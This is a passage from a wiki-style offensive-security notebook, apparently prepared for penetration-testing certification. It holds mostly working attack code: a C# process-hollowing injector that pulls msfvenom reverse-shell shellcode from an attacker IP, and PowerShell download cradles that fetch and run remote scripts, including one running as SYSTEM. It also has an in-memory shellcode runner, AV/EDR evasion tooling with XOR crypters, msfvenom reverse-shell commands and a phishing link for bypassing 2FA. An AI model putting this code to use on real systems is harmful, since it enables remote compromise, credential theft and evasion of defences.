            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
